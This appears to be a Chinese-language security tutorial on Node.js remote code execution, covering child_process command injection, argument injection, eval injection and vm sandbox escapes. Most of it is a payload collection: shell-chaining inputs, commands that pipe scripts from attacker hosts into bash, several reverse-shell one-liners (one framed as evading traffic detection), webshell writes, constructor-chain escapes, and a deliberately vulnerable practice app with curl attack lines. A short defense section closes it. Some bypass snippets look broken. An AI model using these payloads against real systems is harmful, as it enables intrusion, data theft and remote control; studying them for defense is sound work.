一、Node.js 进程创建 API 对比
Node.js 的 child_process 模块提供了四种创建子进程的方法,它们在是否经过 shell、参数解析方式上有本质区别,直接影响安全风险。
1.1 四种方法签名
const cp = require('child_process');
// 1. exec: 经过 shell,返回完整输出字符串
cp.exec(command[, options][, callback])
cp.execSync(command[, options])
// 2. execFile: 不经过 shell,直接执行文件
cp.execFile(file[, args][, options][, callback])
cp.execFileSync(file[, args][, options])
// 3. spawn: 流式执行,不经过 shell
cp.spawn(command[, args][, options])
cp.spawnSync(command[, args][, options])
// 4. fork: spawn 的 Node.js 特定版本
cp.fork(modulePath[, args][, options])
1.2 关键差异表
| 方法 | Shell 解析 | 参数形式 | 输出方式 | 同步版本 | 风险等级 |
|---|---|---|---|---|---|
exec |
✅ 是 | 字符串命令 | 整体 buffer | execSync | ★★★★★ |
execFile |
❌ 否 | 文件 + 参数数组 | 整体 buffer | execFileSync | ★★★ |
spawn |
❌ 否(可配置 shell) | 命令 + 参数数组 | Stream 流 | spawnSync | ★★★ |
fork |
❌ 否 | 模块路径 + 参数 | IPC 消息 | 无 | ★★ |
1.3 Shell 配置陷阱
// spawn 默认不经过 shell
cp.spawn('ls -la'); // 错误!找不到命令 'ls -la'
// spawn + shell: true 会经过 shell(危险)
cp.spawn('ls -la | grep foo', { shell: true }); // 可以工作,但有注入风险
// 注意 Windows 默认 shell: 'cmd.exe /s /c'
// Linux 默认 shell: '/bin/sh'
二、exec 命令注入
2.1 基础漏洞场景
const express = require('express');
const cp = require('child_process');
const app = express();
// 漏洞代码 1: 直接拼接用户输入
app.get('/ping', (req, res) => {
const ip = req.query.ip;
cp.exec('ping -c 4 ' + ip, (err, stdout) => {
res.send('<pre>' + stdout + '</pre>');
});
});
// 攻击: /ping?ip=127.0.0.1;cat /etc/passwd
// 漏洞代码 2: 模板字符串
app.get('/whois', (req, res) => {
const domain = req.query.domain;
cp.exec(`whois ${domain}`, (err, stdout) => {
res.send(stdout);
});
});
// 攻击: /whois?domain=google.com;curl http://attacker.com/shell.sh|bash
// 漏洞代码 3: 多个参数拼接
app.get('/backup', (req, res) => {
const filename = req.query.name;
cp.exec('tar -czf /backups/' + filename + ' /data', () => {
res.send('done');
});
});
// 攻击: /backup?name=x.tar.gz;cat /etc/shadow
2.2 Payload 技巧大全
// exec 的 Payload 可以使用所有 shell 特性:
// 基本命令连接
?ip=127.0.0.1;whoami
?ip=127.0.0.1|id
?ip=127.0.0.1&&cat /etc/passwd
?ip=127.0.0.1||uname -a
// 换行符注入
?ip=127.0.0.1%0acat%20/etc/passwd
?ip=127.0.0.1%0a%0awhoami
// 命令替换
?ip=$(cat /etc/passwd)
?ip=`id`
// 重定向
?ip=127.0.0.1;cat /etc/passwd>/tmp/out;curl http://attacker.com/out?f=$(cat /tmp/out)
// 反弹 Shell
?ip=127.0.0.1;bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
// 下载执行
?ip=127.0.0.1;curl http://ATTACKER/s.sh|bash
?ip=127.0.0.1;wget http://ATTACKER/s.sh -O -|bash
// 写 Webshell
?ip=127.0.0.1;echo 'require("child_process").exec(req.query.c).toString()' > /var/www/html/shell.js
2.3 反弹 Shell 完整 PoC
// 攻击端: nc -lvnp 4444
// 目标: 存在 exec 命令注入的 Node.js 应用
// 方式 1: Bash 反弹
// Payload: ;bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
cp.exec(';bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');
// 方式 2: Node.js 自身反弹(如果 bash 不可用)
// Payload: ;node -e "require('child_process').exec('bash -i >& /dev/tcp/ATTACKER/4444 0>&1')"
cp.exec(';node -e "require('child_process').exec('bash -i >& /dev/tcp/192.168.1.100/4444 0>&1')"');
// 方式 3: 长连接(后台执行,不阻塞)
cp.exec(';bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" 2>&1 &');
// 方式 4: Python 反弹(备用方案)
cp.exec(';python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(['/bin/bash'])"');
// 方式 5: 加密连接(绕过流量检测)
cp.exec(';bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" | openssl enc -aes-256-cbc -d -k secret_key | bash');
三、execFile/spawn 参数注入
3.1 参数注入原理
// execFile 和 spawn 不经过 shell,但攻击者仍可控制参数
// 漏洞场景: 文件处理功能
app.post('/process', (req, res) => {
const filename = req.body.filename;
// execFile: 文件 + 参数数组
cp.execFile('/usr/bin/convert', [filename, 'thumb.png'], (err, stdout) => {
res.send('ok');
});
});
// 攻击方式: 参数注入(ImageMagick 等工具有参数注入)
// filename = "test.jpg -write /etc/passwd"
// 某些工具会解析文件名中的参数
// spawn + shell: false 仍可通过其他方式注入
cp.spawn('/usr/bin/find', ['/tmp', '-name', userInput]);
// userInput = 'foo -exec cat /etc/passwd {} ;'
// find 会把后面的参数当作 find 自身参数
3.2 安全使用方式 vs 危险使用
// ❌ 危险方式 1: exec + 拼接
cp.exec('rm -rf ' + userInput);
// ❌ 危险方式 2: spawn + shell:true
cp.spawn('rm -rf ' + userInput, { shell: true });
// ✅ 安全方式 1: execFile + 参数数组
cp.execFile('rm', ['-rf', userInput]);
// ✅ 安全方式 2: spawn + 参数数组
cp.spawn('rm', ['-rf', userInput]);
// ✅ 安全方式 3: 路径白名单校验
const ALLOWED_DIRS = ['/var/app/uploads', '/tmp/cache'];
if (!ALLOWED_DIRS.some(dir => userInput.startsWith(dir))) {
throw new Error('Invalid path');
}
cp.execFile('rm', ['-rf', userInput]);
3.3 参数注入绕过白名单
// 如果应用做了文件名白名单校验:
// 只允许 .jpg .png 结尾
if (!/.(jpg|png)$/.test(filename)) {
return res.status(400).send('Invalid file type');
}
// 但 execFile/spawn 仍可能有参数注入:
cp.spawn('/usr/bin/identify', [filename]);
// ImageMagick identify 可能解析文件名中的额外参数
// 文件名注入 Payload 示例
filename = 'test.jpg -verbose'; // 额外参数
filename = 'foo.jpg -resize 1x1'; // ImageMagick 参数
// 更极端: 如果用的是 ffmpeg
cp.execFile('ffmpeg', ['-i', userInput, 'output.mp4']);
// ffmpeg 协议注入: file:, concat:, http:
// userInput = 'concat:../../etc/passwd|pipe:...'
四、eval + 危险对象获取
4.1 获取 require/process 的多种方式
// 在 eval() 中获取危险对象
// 方式 1: 直接获取(如果作用域中可用)
eval('require("child_process").execSync("whoami")');
// 方式 2: 通过 this.constructor 链
eval('this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id")');
// 方式 3: 通过 Error 构造器
eval('var e = new Error(); e.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami")');
// 方式 4: 通过 String 构造器
eval('String.constructor("return process")().mainModule.require("child_process").execSync("whoami")');
// 方式 5: 通过 Function 构造器(最简单的全局对象获取方式)
eval('Function("return this")().process.mainModule.require("child_process").execSync("whoami")');
// 方式 6: 更短
eval('Function("return process")().mainModule.require("child_process").execSync("whoami")');
4.2 完整命令执行 Payload
// 所有 Payload 都可在 eval() 或 vm.runInContext() 中执行
// 短 Payload(需环境中有 require)
require('child_process').execSync('whoami').toString()
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')
// 无 require 环境(最通用)
Function('return process')().mainModule.require('child_process').execSync('whoami')
Function('return process')().mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')
// 沙箱逃逸版本
this.constructor.constructor('return this')().process.mainModule.require('child_process').execSync('whoami')
// 通过 globalThis
globalThis.process.mainModule.require('child_process').execSync('id') // Node 12+
// 不使用 require 的文件写入
fs.writeFileSync('/tmp/shell.js', 'console.log("pwned")') // 如果有 fs 访问权限
4.3 无字母绕过(过滤 a-zA-Z)
// 如果正则 /[a-zA-Z]/ 被过滤
// 使用 eval + 16 进制
eval('require('child_process').execSync('whoami')')
// 使用模板字符串 + 构造
eval(`${(+[]).toString()}`) // '0'
// 不实用,需要更复杂的编码
// 使用 charCodeAt 数组构造字符串
String.fromCharCode(114, 101, 113, 117, 105, 114, 101) // 'require'
String.fromCharCode(99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115) // 'child_process'
// 组合 Payload
var _=String.fromCharCode;eval(_(114,101,113,117,105,114,101)(_(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync('whoami'))
// 更短: 使用 10 进制数组
var _='';[_+=(a=(_=[]).push(1))*0+114,_+=String.fromCharCode(a)];_
// 不实用...
五、vm 模块沙箱逃逸
5.1 vm 模块基础
const vm = require('vm');
// 创建看似安全的沙箱
const sandbox = {};
const context = vm.createContext(sandbox);
// 运行用户代码
vm.runInContext(userInput, context);
// 或
vm.runInNewContext(userInput, sandbox);
// 或
vm.runInThisContext(userInput, { filename: 'evil.js' });
5.2 逃逸方法大全
// 方法 1: constructor 链逃逸(最经典)
// 每个函数的 constructor 都是 Function
// Function.constructor 也是 Function
// 所以可以递归获取 Function
this.constructor.constructor('return process')()
// this.constructor.constructor -> Function
// Function('return process')() -> process
// 方法 2: 通过函数原型
const F = (() => {}).constructor;
F('return process')()
// 方法 3: Error 构造器链
const e = new Error();
e.constructor.constructor('return process')()
// 方法 4: 通过代理对象(Proxy)
// 如果沙箱中有代理对象,可通过 handler.constructor 获取 Function
// 方法 5: 通过 RegExp
const r = /./;
r.constructor.constructor('return process')()
// 方法 6: 通过其他内置对象
{}.constructor.constructor('return process')()
[].constructor.constructor('return process')()
"".constructor.constructor('return process')()
5.3 完整沙箱逃逸 PoC
const vm = require('vm');
// 漏洞场景: 应用创建了"安全"沙箱运行用户代码
const sandbox = {};
const context = vm.createContext(sandbox);
// 用户提交的代码(eval 注入)
const maliciousCode = `
// 逃逸链
const proc = this.constructor.constructor('return process')();
proc.mainModule.require('child_process').execSync('whoami');
`;
// 执行沙箱
try {
vm.runInContext(maliciousCode, context); // RCE!
} catch(e) {
console.log(e);
}
// 更短的逃逸 Payload
const shortPayload = `
Function('return process')().mainModule.require('child_process').execSync('id');
`;
// 如果 Function 构造器也被拦截了
// 可以通过各种对象间接获取
const payload2 = `
var a = [].constructor; // Array
var b = a.constructor; // Function (Array.constructor === Function)
var p = b('return process')(); // 获取 process
p.mainModule.require('child_process').execSync('whoami');
`;
// Object 的 constructor 也是 Function
const payload3 = `
Object.constructor('return process')().mainModule.require('child_process').execSync('whoami');
`;
5.4 新版 Node.js vm.Script 逃逸
// Node.js 新 API
const vm = require('vm');
const script = new vm.Script(userCode);
const context = vm.createContext({});
script.runInContext(context);
// 逃逸方法: 和旧版一样的 constructor 链
// 只要能拿到任何对象,就能获取 Function,进而获取 process
// 使用 isolated-vm 仍然可逃逸
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({ memoryLimit: 16 });
const context = isolate.createContextSync();
const script = isolate.compileScriptSync(userCode);
script.runSync(context);
// isolated-vm 4.x 有已知逃逸
// 通过 Reference 或 ExternalCopy 获取原生对象
六、Express/Koa 实战漏洞场景
6.1 Express eval 注入
const express = require('express');
const app = express();
app.use(express.json());
// 漏洞代码 - 动态执行规则引擎
app.post('/evaluate', (req, res) => {
const { condition } = req.body;
// 危险!eval 用户输入的条件
try {
const result = eval(condition);
res.json({ result });
} catch(e) {
res.json({ error: e.message });
}
});
// 攻击请求
// POST /evaluate
// {"condition": "Function('return process')().mainModule.require('child_process').execSync('whoami').toString()"}
// 响应: {"result":"root
"}
// 反弹 Shell
// {"condition": "Function('return process')().mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')"}
6.2 Koa + child_process
const Koa = require('koa');
const Router = require('koa-router');
const cp = require('child_process');
const app = new Koa();
const router = new Router();
// 漏洞: 文件类型判断用 file 命令
router.get('/mimetype', async (ctx) => {
const filepath = ctx.query.file;
// 危险: 直接拼接
const result = cp.execSync('file -b ' + filepath).toString();
ctx.body = result;
});
// 攻击: /mimetype?file=/etc/passwd;whoami
// 输出: text/plain; charset=utf-8
root
6.3 完整 Node.js 靶场
// vuln-app.js - 可自己搭建练习的靶场
const express = require('express');
const cp = require('child_process');
const app = express();
app.use(express.json());
// 漏洞 1: exec 命令注入
app.get('/vuln1', (req, res) => {
const cmd = req.query.cmd || 'echo hello';
cp.exec(cmd, (err, stdout) => res.send('<pre>' + stdout + '</pre>'));
});
// 漏洞 2: eval 代码注入
app.get('/vuln2', (req, res) => {
const code = req.query.code || '1+1';
try { res.send(String(eval(code))); }
catch(e) { res.send(e.message); }
});
// 漏洞 3: spawn 参数注入(需要某些特定命令)
app.get('/vuln3', (req, res) => {
const userInput = req.query.input;
const child = cp.spawn('find', ['/tmp', '-name', userInput]);
let out = '';
child.stdout.on('data', d => out += d);
child.on('close', () => res.send(out));
});
// 漏洞 4: vm 沙箱逃逸
app.get('/vuln4', (req, res) => {
const vm = require('vm');
const sandbox = {};
try {
vm.runInNewContext(req.query.code, sandbox);
res.send('executed');
} catch(e) {
res.send(e.message);
}
});
// 启动
app.listen(3000, () => console.log('Vuln app on :3000'));
// 攻击测试:
// curl "http://localhost:3000/vuln1?cmd=whoami"
// curl "http://localhost:3000/vuln2?code=require('child_process').execSync('id').toString()"
// curl "http://localhost:3000/vuln2?code=Function('return process')().mainModule.require('child_process').execSync('whoami').toString()"
// curl "http://localhost:3000/vuln4?code=this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()"
七、防御方案
7.1 安全使用 child_process
const cp = require('child_process');
// ✅ 使用 execFile/spawn,避免 shell 解析
cp.execFile('ping', ['-c', '4', userInput]);
// ✅ 白名单校验
const ALLOWED_COMMANDS = ['ping', 'traceroute'];
if (!ALLOWED_COMMANDS.includes(command)) {
throw new Error('Invalid command');
}
cp.execFile(command, args);
// ✅ 路径白名单
const safePath = path.resolve(userInput);
if (!safePath.startsWith('/var/app/')) {
throw new Error('Path traversal detected');
}
// ❌ 避免 exec + 字符串拼接
cp.exec('ping ' + userInput); // 危险!
7.2 禁用危险对象
// 方式 1: 全局 monkey-patch
const originalExec = cp.exec;
cp.exec = function(command, options, callback) {
if (typeof command === 'string' && command.includes(';')) {
throw new Error('Command injection detected');
}
return originalExec.apply(this, arguments);
};
// 方式 2: 禁用 require
delete global.require;
// 但内部模块仍可以使用
// 方式 3: 使用独立进程运行用户代码
// 用 spawn 启动一个独立的 Node.js 进程
// 进程间通过 IPC 通信
7.3 安全沙箱
// 使用 isolated-vm 限制资源
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({
memoryLimit: 16, // 16MB 内存限制
snapshot: snapshot, // 从快照创建,减少启动时间
});
const context = isolate.createContextSync();
// 不传递任何原生对象到沙箱
const script = isolate.compileScriptSync(userCode, {
filename: 'user.js',
});
script.runSync(context);
// 不使用 vm2 或 vm3(有多处逃逸)
// 推荐: isolated-vm, worker_threads + 白名单
八、总结
Node.js RCE 的核心路径:
- exec 命令注入:最经典,
exec('cmd' + userInput)直接可用 shell 特性 - spawn 参数注入:
shell: false但可利用命令自身的参数注入特性 - eval 代码注入:关键是获取
require/process - vm 沙箱逃逸:
this.constructor.constructor('return process')()万能逃逸链 - 完整 RCE 链:获取 process → 获取 mainModule.require → require('child_process') → exec()
防御核心:永远不要将用户输入与字符串命令拼接,使用参数数组形式调用 execFile/spawn。